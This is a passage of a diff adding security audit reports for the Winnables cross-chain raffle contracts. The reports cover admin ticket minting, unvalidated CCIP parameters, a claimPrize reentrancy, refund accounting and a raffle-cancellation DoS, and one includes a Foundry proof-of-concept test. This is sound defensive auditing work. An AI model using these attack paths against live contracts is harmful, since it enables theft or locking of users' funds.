id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` + +Current state of the Raffle is not checked when minting, meaning that admin can still mint tickets even if `raffle.status = RaffleStatus.REQUESTED` or `raffle.status == RaffleStatus.FULFILLED`. So admin can mint some new tickets after seeing VRF results to force himself to win the raffle. + +Such behavior breaks the principle that "Admins cannot affect the odds of a raffle". + +## Impact + +Impact: high - a security principle can be broken + +Likelihood: low - require a malicious admin + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182 + +## Tool used + +Manual Review + +## Recommendation + +`WinnablesTicket.mint` should check the status of current raffle. \ No newline at end of file diff --git a/001/192.md b/001/192.md new file mode 100644 index 0000000..05b83de --- /dev/null +++ b/001/192.md @@ -0,0 +1,47 @@ +Custom Rosewood Bear + +High + +# Missing validations on CCIP parameters in the `WinnablesTicketManager.cancelRaffle` and `propagateRaffleWinner` allows attackers to cause loss of funds + +### Summary + +The `WinnablesTicketManager.cancelRaffle` and `WinnablesTicketManager.propagateRaffleWinner` functions are public and do not validate the CCIP parameters, `prizeManager` and `chainSelector`, allowing an attacker to pass in random values for these arguments. As a result, the `WinnablesPrizeManager` will not receive the cancellation and winner messages leading to loss of funds. + +1. In the case of the `cancelRaffle` function: The function marks the raffle as canceled in the `WinnablesTicketManager` and the prize money for the cancelled raffle are indefinitely stuck in the `WinnablesPrizeManager`. +2. In the case of the `propagateRaffleWinner` function: The `WinnablesTicketManager` marks raffle as completed while the `winner` message does not reach `WinnablesPrizeManager`. Winner cannot claim their prize money, they are indefinitely stuck in the `WinnablesPrizeManager`. + +Code: +- Definition of the [WinnablesTicketManager.cancelRaffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L286) function +- Definition of the [WinnablesTicketManger.propagateRaffleWinner](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L340) function +### Root Cause + +The CCIP parameters, `prizeManager` and `chainSelector` are not validated in the `WinnablesTicketManager.cancelRaffle` and the `WinnablesTicketManager.propagateRaffleWinner` functions. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker calls the `cancelRaffle` function for each cancellable raffle with the random values for `prizeManager` and `chainSelector` arguments. If a raffle is not cancellable then attacker waits for the random word to get fulfilled and calls the `propagateRaffleWinner` function with random values for `prizeManager` and `chainSelector`. +3. The `WinnablesPrizeManager` never receives cancellation nor winner messages and the prize money for these is indefinitely locked. + +### Impact + +1. Protocol admins loses locked prize money for cancelled raffles +2. Winners can never retrieve their prize money and prize money is indefinitely locked. + +The attacker can choose to perform the attack when there are considerable number of raffles created. The attacker can lock prize money for all open raffles at the time of attack. + +### PoC + +_No response_ + +### Mitigation + +Retrieve the `prizeManager` and `chainSelector` values from the `_ccipContracts` storable variable instead of taking them as arguments. \ No newline at end of file diff --git a/001/193.md b/001/193.md new file mode 100644 index 0000000..d848c66 --- /dev/null +++ b/001/193.md @@ -0,0 +1,51 @@ +Delightful Inky Panda + +High + +# Smart contract wallet users may not be able to claim their prize + +## Summary + +Currently `WinnablesTicketManager` simply forward winner's `msg.sender`(on Avalanche) to `WinnablesPrizeManager`(on Ethereum), which may not controlled by the real winner. + +As a result, an attacker can gain control of the winner address of an account contract that was used to deposit assets from a chain into Root, by gaining control of the same address of the account contract that deposited the assets in a different chain. + +As explained in detail on this [article written by Rekt](https://rekt.news/wintermute-rekt/), it is possible to gain control of the same address for contract accounts in a different chain; especially for those contract accounts that are deployed using the Gnosis Safe contracts. + +## Vulnerability Detail + +When winner is drawn, the winner's address(on Avalanche) will be sent directly to `WinnablesPrizeManager`(on Ethereum): + + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } + +It incorrectly assumes that the address `raffle.winner` on Ethereum is owned by the same person on Avalanche chain. There are 2 cases when the assumption is not guaranteed: + +Account Abstraction wallet implementations +old version of Safe multisigs https://rekt.news/wintermute-rekt/ + +## Impact + +Users may not be able to claim their prize. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +## Tool used + +Manual Review + +## Recommendation + +Add a function to allow users to change their participant address. \ No newline at end of file diff --git a/001/194.md b/001/194.md new file mode 100644 index 0000000..9fbf627 --- /dev/null +++ b/001/194.md @@ -0,0 +1,244 @@ +Funny Pickle Grasshopper + +High + +# `WinnablesTicketManager::refundPlayers` function not decrementing the `_lockedETH` will result in reduced balance admin can withdraw for token sales. + +## Summary +The `_lockedETH` variable in `WinnablesTicketManager` tracks the fund that are sent by users for raffle participation and initially the funds they send increments the `_lockedETH` which ensures that admin can only withdraw the funds collected for raffles after they are propagated to ethereum chain. +But for the case when a raffle is cancelled, the users are allowed to take all the funds they sent for raffle participation, and as funds are refunded which means that the `_lockedETH` amount should decrease, but `refundPlayers` lacks the implementation to reduce `_lockedETH`, as a result of which effective withdrawal balance for admins, i.e., (total ticket manager balance - _lockedETH) would always be less than what it should be. +For cancelled raffle, suppose if all funds are refunded, still `_lockedETH` holds that amount which will prevent admin to withdraw the funds from other successful raffles as the net withdrawable balance is impacted by extra funds not decremented in `_lockedETH` and thus leads to stuck funds. + +## Vulnerability Detail +- The vulnerability is present in the `refundPlayers` function where it sends the participation funds back to the participants but doesn't decrement the corresponding locked funds depicted by `_lockedETH`. +- The `_lockedETH` variable allows the admin to withdraw the funds from ticket sales only from raffles that are propagated, but it results in bad accounting when it is not decremented when refunds are carried out for cancelled raffle. +- As the balance of ticket manager decreases (by refund), but the `_lockedETH` still holds that amount, as a result of which the overall withdrawable balance for admins also decreases. +- Thus admins can't withdraw the actual amount as it is decreased by the extra amount in `_lockedETH`, which was not decreased during refunds. + +## Impact +Funds will be stuck in `WinnablesTicketManager` and the admins will never be able to withdraw them and thus gets less or no incentives from raffles. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +## PoC +Below is the coded PoC in foundry, that depicts the vulnerability. + +Pre-requisites: Integrating foundry in hardhat. +1. Install hardhat-foundry: +```bash +yarn add --dev @nomicfoundation/hardhat-foundry +``` +2. Import in hardhat config: +```js +require("@nomicfoundation/hardhat-foundry"); +``` +3. Complete the setup: +```bash +npx hardhat init-foundry +``` + + +Run the test: +```bash +forge test --mt test_refundPlayers_NotDecrementing_EthLocked_LeadsToBadAccounting +``` + +```solidity +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.24; + +import { Test } from "forge-std/Test.sol"; +import "contracts/WinnablesPrizeManager.sol"; +import "contracts/WinnablesTicketManager.sol"; +import "contracts/WinnablesTicket.sol"; +import "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol"; +import "@chainlink/contracts/src/v0.8/mocks/VRFCoordinatorV2Mock.sol"; +import "contracts/mock/MockCCIPRouter.sol"; +import { ERC677 } from "@chainlink/contracts-ccip/src/v0.8/shared/token/ERC677/ERC677.sol"; + +contract WinnablesTest is Test { + address linkToken; + address ccipRouter; + VRFCoordinatorV2Mock vrfCoordinator; + uint64 subId; + bytes32 keyHash; + WinnablesPrizeManager prizeManager; + WinnablesTicket ticket; + WinnablesTicketManager ticketManager; + address alice; + address bob; + address admin; + address api; + uint256 apiPvtKey; + uint256 constant BALANCE = 100e18; + + + function setUp() external { + alice = makeAddr("alice"); + bob = makeAddr("bob"); + admin = makeAddr("admin"); + (api, apiPvtKey) = makeAddrAndKey("api"); + + linkToken = address(new ERC677("LINK", "LINK")); + ccipRouter = address(new CCIPRouter(linkToken)); + vrfCoordinator = new VRFCoordinatorV2Mock(0.25e18, 100000); + keyHash = 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c; + + deal(linkToken, admin, BALANCE); + vm.deal(alice, BALANCE); + vm.deal(bob, BALANCE); + + vm.startPrank(admin); + + uint256 fundAmt = 10e18; + subId = vrfCoordinator.createSubscription(); + vrfCoordinator.fundSubscription(subId, uint96(fundAmt)); + + prizeManager = new WinnablesPrizeManager(linkToken, ccipRouter); + ticket = new WinnablesTicket(); + ticketManager = new WinnablesTicketManager( + linkToken, + address(vrfCoordinator), + subId, + keyHash, + address(ticket), + ccipRouter + ); + + ticketManager.setRole(api, 1, true); + ticket.setRole(address(ticketManager), 1, true); + vrfCoordinator.addConsumer(subId, address(ticketManager)); + + uint256 ticketManagerLinkBal = 10e18; + IERC20(linkToken).transfer(address(ticketManager), ticketManagerLinkBal); + + vm.stopPrank(); + } + + function test_refundPlayers_NotDecrementing_EthLocked_LeadsToBadAccounting() public { + // considering the ticket and ticketManager are on local chain + // also assuming owner locks the prize on prize manager on any `x` chain + // transferring cross-chain message from `x` chain to sepolia by pranking as router + + uint64 chainSelectorForAnyXChain = 1; + vm.prank(admin); + ticketManager.setCCIPCounterpart(address(prizeManager), chainSelectorForAnyXChain, true); + + uint256 raffleId_1 = 1; + uint32 totalEntries = 2; + _prepareReceivingMessageAndCreateRaffle(raffleId_1, chainSelectorForAnyXChain, totalEntries); + + // alice buys a ticket + uint16 ticketCt_1 = 1; + uint256 perTicketCharge = 0.01 ether; + _createSignatureAndPurchaseTicket(raffleId_1, alice, ticketCt_1, perTicketCharge); + + // now consider whole duration of raffle finsishes and only 1 player joined, but required 2 + vm.warp(block.timestamp + 2 days); + + // calls for cancellation of raffle + ticketManager.cancelRaffle(address(prizeManager), chainSelectorForAnyXChain, raffleId_1); + + // alice calls for refund + address[] memory players = new address[](1); + players[0] = alice; + ticketManager.refundPlayers(raffleId_1, players); + // here after calling refund players, the locked eth is not decremented + assert(address(ticketManager).balance == 0); + + // ----------------------------------------------------------- + // Finished with Raffle 1, start raffle 2 + // ----------------------------------------------------------- + uint256 raffleId_2 = 2; + _prepareReceivingMessageAndCreateRaffle(raffleId_2, chainSelectorForAnyXChain, totalEntries); + + // alice buys 2 ticket + uint16 ticketCt_2 = 2; + uint256 newPerTicketCharge = 0.02 ether; + _createSignatureAndPurchaseTicket(raffleId_2, alice, ticketCt_2, newPerTicketCharge); + + + // now drawing winner + ticketManager.drawWinner(raffleId_2); + + // vrf coordinator calls the fulfillRandomWords + vrfCoordinator.fulfillRandomWords({ _requestId: 1, _consumer: address(ticketManager) }); + + ticketManager.propagateRaffleWinner(address(prizeManager), chainSelectorForAnyXChain, raffleId_2); + + // now admin tries to withdraw the eth from the tickets sales + // as for raffle 2 amount deposited = 2 * newPerTicketCharge = 2 * 0.02 = 0.04 eth + + assert(address(ticketManager).balance == 0.04 ether); + uint256 adminInitBalance = admin.balance; + + vm.prank(admin); + ticketManager.withdrawETH(); + + uint256 adminFinalBalance = admin.balance; + + // they should have received exactly 0.04 eth, but the lockedETH not decremented during refund + // reduces the overall balance admin can take for the ticket sales + assert(adminFinalBalance - adminInitBalance < 0.04 ether); + assert(adminFinalBalance - adminInitBalance > 0); + } + + function _prepareReceivingMessageAndCreateRaffle(uint256 raffleId, uint64 chainSelectorForAnyXChain, uint32 minMaxEntry) internal { + Client.Any2EVMMessage memory receivingMessage = Client.Any2EVMMessage({ + messageId: bytes32(uint256(1)), + sourceChainSelector: chainSelectorForAnyXChain, + sender: abi.encode(address(prizeManager)), + data: abi.encodePacked(raffleId), + destTokenAmounts: new Client.EVMTokenAmount[](0) + }); + + vm.prank(ccipRouter); + ticketManager.ccipReceive(receivingMessage); + + uint64 start = uint64(block.timestamp); + uint64 end = uint64(block.timestamp + 1 days); + vm.prank(admin); + ticketManager.createRaffle(raffleId, start, end, minMaxEntry, minMaxEntry, minMaxEntry); + } + + function _createSignatureAndPurchaseTicket(uint256 raffleId, address account, uint16 ticketCt, uint256 perTicketCharge) internal { + uint256 userNonce = ticketManager.getNonce(account); + bytes32 message = keccak256( + abi.encodePacked( + account, userNonce, raffleId, ticketCt, uint256(block.number), uint256(ticketCt) * perTicketCharge + ) + ); + bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", message)); + (uint8 v, bytes32 r, bytes32 s) = vm.sign(apiPvtKey, hash); + bytes memory signature = abi.encodePacked(r, s, v); + + vm.prank(account); + ticketManager.buyTickets{value: uint256(ticketCt) * perTicketCharge}(raffleId, ticketCt, block.number, signature); + } +} +``` + +## Tool used +Manual Review, Unit test in foundry + +## Recommendation +When carrying out refunds, decrement the `_lockedETH`. +```diff + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); ++ _lockedETH -= amountToSend; + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` \ No newline at end of file diff --git a/001/195.md b/001/195.md new file mode 100644 index 0000000..ae89b21 --- /dev/null +++ b/001/195.md @@ -0,0 +1,97 @@ +Polite Mauve Lark + +High + +# A cancelled raffle will cause future raffle proceeds to be locked + +### Summary + +A cancelled raffle will cause future raffle proceeds to be locked + +### Root Cause + +In WinnablesTicketManager.sol a raffle can be created with the following params +```solidity + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings +``` +The main focus of this snippet is `minTickets` . For reference if the amount of tokens that are sold in a raffle is less than `minTickets` the raffle will be eligible to be canceled. + +Knowing that, when a raffle ticket is bought we increase the `_lockedEth` variable by msg.value. +Now imagine a scenario where we cancel a then we must return the ETH to the users. + +We must call `refundPlayers` +https://github.com/Winnables/public-contracts/blob/267dd06e2d5636f30e3311c46ed24b76ac6614c5/contracts/WinnablesTicketManager.sol#L215 + +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` +As we can see the function does not lower the `_lockedEth` variable when the eth is refunded to the players. + +Now when we start another raffle and it is fulfilled, when the owner goes to withdraw his proceeds, he will only be able to withdraw the proceeds amount minus the `_lockedEth` that is in the contract. We can observe the following behavior in the +`withdrawETH` function +https://github.com/Winnables/public-contracts/blob/267dd06e2d5636f30e3311c46ed24b76ac6614c5/contracts/WinnablesTicketManager.sol#L300 + +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` + +having multiple cancelled raffles in a row will cause ``_lockedEth` to be high and thus the amount of stuck and unrecoverable eth to be high. + +### Internal pre-conditions + +1.There needs to be a cancelled raffle and the proceeds need to have been refunded to the users +2. A new raffle is started and finished + +### External pre-conditions + +none + +### Attack Path + +this isnt really an attack path but more of a code logic error. +1. admin makes raffle +2. users buy tickets `_lockedEth` variable increases by msg.value +3. there is not enough tickets sold so we cancel raffle +4. players are refunded via `refundPlayers` +5. `refundPlayers` does not lower the `_lockedEthVariable` +6. new raffle is started +7. raffle is finished and owner wishes to withdraw the eth proceeeds +8. he will only be able to withdraw the amount - `_lockedEth` variable +9. eth is locked in contract without being able to be claimed by owner. + +### Impact + +Owner eth proceeds will be locked in the contract. this number can be very high if we cancel raffles more than once. + +### PoC + +_No response_ + +### Mitigation + +when refunding players, lower the `_lockedEth` variable. \ No newline at end of file diff --git a/001/196.md b/001/196.md new file mode 100644 index 0000000..489c2e9 --- /dev/null +++ b/001/196.md @@ -0,0 +1,58 @@ +Custom Rosewood Bear + +High + +# Attacker can cancel raffles before they can be created leading to DoS + +### Summary + +The `WinnablesTicketManager.cancelRaffle` function allows anyone to cancel `raffle` if its status is `PRIZE_LOCKED` i.e prize is locked but the `raffle` is yet to be created. An attacker (for e.g competitor) can actively cancel raffles before their creation leading to a DoS attack. + +The attack is feasible as the cost to protocol is significantly more than the cost of the attack. The attack would result in +1. Prevention of admins from creating raffles, blocking the core functionality of the protocol +2. Protocol incurs expensive fees + - Ethereum transaction fees for `WinnablesPrizeManager.lockXXX` call to lock prize money for the raffle + - Chainlink CCIP fees in LINK tokens for sending the message from `WinnablesPrizeManager` to `WinnablesTicketManager` upon locking of prize money and for sending the cancellation message from ticket manager to prize manager. + - Ethereum transaction fee to withdraw the prize money or the call to the `lockXXX` function. + + The attack only requires a single transaction on Avalanche chain which is just a fraction of the cost to protocol. + +Code: +- Definition of the [WinnablesTicketManager.cancelRaffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L279) function allowing anyone to call the function and using the `_checkShouldCancel` function to determine if the raffle can be canceled. +- Definition of the [WinnablesTicketManager._checkShouldCancel](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L436) which returns if the status of the raffle is `PRIZE_LOCKED`. + +### Root Cause + +The `WinnablesTicketManager` contract allows non-admins to cancel raffles with `PRIZE_LOCKED` status. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Attacker actively monitors the `WinnablesTicketManager` contract for `RafflePrizeLocked` events and immediately calls the `cancelRaffle` function for that raffle. + +### Impact + +1. Prevention of admins from creating raffles, blocking the core functionality of the protocol +2. Protocol incurs expensive fees + - Ethereum transaction fees for `WinnablesPrizeManager.lockXXX` call to lock prize money for the raffle + - Chainlink CCIP fees in LINK tokens for sending the message from `WinnablesPrizeManager` to `WinnablesTicketManager` upon locking of prize money and for sending the cancellation message. + - Ethereum transaction fee to withdraw the prize money or the call to the `lockXXX` function. + +The attacker incurs a fraction of cost: Transacton fee of a single transaction on Avalanche + +### PoC + +_No response_ + +### Mitigation + +Remove the line `WinnablesTicketManager.sol#L436` and add a function to the`WinnablesTicketManager` contract that allows an admin to cancel raffles with `PRIZE_LOCKED` status. + +Note that adding the `onlyRole(0)` to the `cancelRaffle` function is a possible mitigation but this would allow admins to withhold cancellation leading to temporary locking of funds: Admin can prevent refunds for raffles which did not reach `minTicketsThreshold`. Therefore, this mitigation should not be considered. \ No newline at end of file diff --git a/001/199.md b/001/199.md new file mode 100644 index 0000000..6e9d8f4 --- /dev/null +++ b/001/199.md @@ -0,0 +1,39 @@ +Dandy Blonde Carp + +Medium + +# Admin can completely change the result of a raffle by minting free tickets + +## Summary +Admin can completely change the result of a raffle by minting free tickets + +## Vulnerability Detail +According to `ReadMe` of the contest +> Because we want to reserve the right to distribute free tickets to partners for marketing purposes, the admin can virtually mint out raffle tickets to addresses of their choice. + +Also the main `principles` that must always remain `true` are(from ReadMe of the contest) +> Admins cannot affect the odds of a raffle + +Now, the problem is admin can change the `winner`(which is already decided) by minting free tickets to addresses of their choice, which `breaks` the main principles of the protocol(stated above) + +//Here is how this works +1. Suppose a raffle with Id = 1, whose 245 tickets are sold(it passes the criteria for drawWinner()) +2. drawWinner() is called and suppose randomWord is 739 then winner will be 739 % 245 = 4 ie owner of ticketId = 4 +3. Now admin virtually minted 1 free ticket, which means new tickedSupply = 246 & winner will be 739 % 246 = 1 ie owner of ticketId = 1 +4. Then someone called propagateRaffleWinner() which sets owner of ticketId = 1 as winner in prizeManager.sol + +## Impact +Admin can change the outcome/winner of a raffle, which breaks the main invariants of the protocol + +## Code Snippet +[ReadMe of the contest](https://audits.sherlock.xyz/contests/516) + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334C5-L345C6 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L474 + +## Tool used +Manual Review + +## Recommendation +There are couple of recommendation +1. Don't allow virtual minting of tokens, instead let admin go through buyTickets() \ No newline at end of file diff --git a/001/200.md b/001/200.md new file mode 100644 index 0000000..aae0593 --- /dev/null +++ b/001/200.md @@ -0,0 +1,64 @@ +Funny Tawny Wren + +High + +# Malicious winner of `ETH` raffle can reenter `claimPrize()` function and take all existing `_ethLocked` + +### Summary + +Structure code that does not follow the CEI pattern in the `claimPrize()` function causes malicious winner of `ETH` raffle can reenter `claimPrize()` function and take all existing `_ethLocked` + +### Root Cause + +In [WinnablesPrizeManager.sol:120-122](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L120-L122) there is a check whether `msg.sender` is the winner of the raffle or not and whether `RafflePrizeStatus = CLAIMED`, if yes then the function will revert because the prize has been claimed by the winner. The problem here is that the checking and updating of the status of `RafflePrizeStatus` is done after making an outgoing interaction (`transfer` / `call`) which can cause vulnerabilities + +### Internal pre-conditions + +1. Malicious winner / `msg.sender` must be a `ETH` raffle winner +2. Malicious winner / `msg.sender` needs to call `claimPrize()` + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Malicious winner / `msg.sender` must be a `ETH` raffle winner +2. Malicious winner / `msg.sender` call `claimPrize()` +3. In [WinnablesPrizeManager.sol:118](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118) there is `_sendETHPrize()` which functions to send `ETH` as a prize to the winner / `msg.sender` with low level `call` function +4. That way, malicious winner / `msg.sender` can create logic in the fallback function of their smart contract to reenter `claimPrize()` with loop until the value of `_ethLocked` < `_ethRaffles[raffleId]` and after that exit the loop for continue to completing the logic in `claimPrize()` + +### Impact + +Malicious winner can reenter `claimPrize()` function and take all existing `_ethLocked` + +### PoC + +_No response_ + +### Mitigation + +1. Make sure to follow CEI pattern by doing checks and effects first before interacting +2. Use non-reentrant modifier for `claimPrize()` function + +```solidity + function claimPrize(uint256 raffleId) external nonReentrant{ + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + emit PrizeClaimed(raffleId, msg.sender); +``` \ No newline at end of file diff --git a/001/205.md b/001/205.md new file mode 100644 index 0000000..6bd9c9f --- /dev/null +++ b/001/205.md @@ -0,0 +1,48 @@ +Savory Cream Lion + +High + +# If a refund has occurred, the owner will not be able to withdraw the full proceeds from the raffle. + +### Summary + +When refunding ticket, `_lockedETH` is not reduced, resulting in `_lockedETH` being larger than it should be, which means the owner can withdraw less than the intended amount. + +### Root Cause + +The `_lockedETH` in `WinnablesTicketManager`[ increases](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206) during `buyTickets` and only [decreases](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L343) in `propagateRaffleWinner`, but it does not decrease during [cancel and refund](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228). + +This causes `_lockedETH` to be larger than the actual balance, for example: +1. The user spends 100 ETH to execute `buyTickets`, at which point `balance == 100 ETH, _lockedETH == 100 ETH`. +2. The raffle is canceled, so 100 ETH is refunded to the user, but `_lockedETH` is not decreased, at which point `balance == 0 ETH, _lockedETH == 100 ETH`. +3. The user spends another 50 ETH to execute `buyTickets` for a new raffle, at which point `balance == 50 ETH, _lockedETH == 150 ETH`. +4. The raffle is completed normally, and `propagateRaffleWinner` reduces `_lockedETH` by 50 ETH, at which point `balance == 50 ETH, _lockedETH == 100 ETH`. +5. Originally, the 50 ETH in the balance was the profit that the owner could obtain, but since `balance - _lockedETH` would underflow, this portion of the profit cannot be withdrawn. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The user spends 100 ETH to execute `buyTickets`, at which point `balance == 100 ETH, _lockedETH == 100 ETH`. +2. The raffle is canceled, so 100 ETH is refunded to the user, but `_lockedETH` is not decreased, at which point `balance == 0 ETH, _lockedETH == 100 ETH`. +3. The user spends another 50 ETH to execute `buyTickets` for a new raffle, at which point `balance == 50 ETH, _lockedETH == 150 ETH`. +4. The raffle is completed normally, and `propagateRaffleWinner` reduces `_lockedETH` by 50 ETH, at which point `balance == 50 ETH, _lockedETH == 100 ETH`. +5. Originally, the 50 ETH in the balance was the profit that the owner could obtain, but since `balance - _lockedETH` would underflow, this portion of the profit cannot be withdrawn. + +### Impact + +The protocol cannot withdraw the raffle proceeds in full, and these assets will be locked in the contract forever. + +### PoC + +_No response_ + +### Mitigation + +Decrease `_lockedETH` in `refundPlayers`. \ No newline at end of file diff --git a/001/207.md b/001/207.md new file mode 100644 index 0000000..5eb40b6 --- /dev/null +++ b/001/207.md @@ -0,0 +1,85 @@ +Savory Cream Lion + +High + +# The attacker can prevent createRaffle and waste the LINK in the contract. + +### Summary + +The attacker can prevent `createRaffle` and waste the LINK in the contract. + +### Root Cause + +`cancelRaffle` has no access control, if accessible via `_checkShouldCancel`, contract LINK can be used to send messages to CCIP. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L276-L288 +```solidity + /// @notice (Public) Cancel a raffle if it can be canceled + /// @param raffleId ID of the raffle to cancel + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +In `_checkShouldCancel`, if `raffle.status == RaffleStatus.PRIZE_LOCKED`, it passes the check directly, meaning anyone can cancel the raffle after `RaffleStatus.PRIZE_LOCKED`. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L436 +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +``` + +`createRaffle` can only be called by admin after `PRIZE_LOCKED`, so if `cancelRaffle` is executed before `createRaffle`, `createRaffle` will not be able to execute. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L264 +```solidity + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { + _checkRaffleTimings(startsAt, endsAt); + if (maxTickets == 0) revert RaffleRequiresTicketSupplyCap(); + if (maxHoldings == 0) revert RaffleRequiresMaxHoldings(); + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); +``` + +Ultimately, the attacker not only consumed the LINK tokens in the contract but also prevented the execution of `createRaffle`. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Owner executes `lock` to make raffle become `PRIZE_LOCKED`. +2. Before owner executes `createRaffle`, attacker executes `cancelRaffle`. +3. Finally, `createRaffle` cannot be executed and LINK in both `PrizeManager` and `TicketManager` are wasted. + +### Impact + +The attacker can prevent createRaffle and waste the LINK in the contract. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/001/208.md b/001/208.md new file mode 100644 index 0000000..dc15b77 --- /dev/null +++ b/001/208.md @@ -0,0 +1,56 @@ +Soaring Rusty Dragon + +Medium + +# Legitimate users who called `buyTickets` at the last second of the raffle may not be able to participate + +### Summary + +Because it is possible to `cancelRaffle` / `drawWinner` at 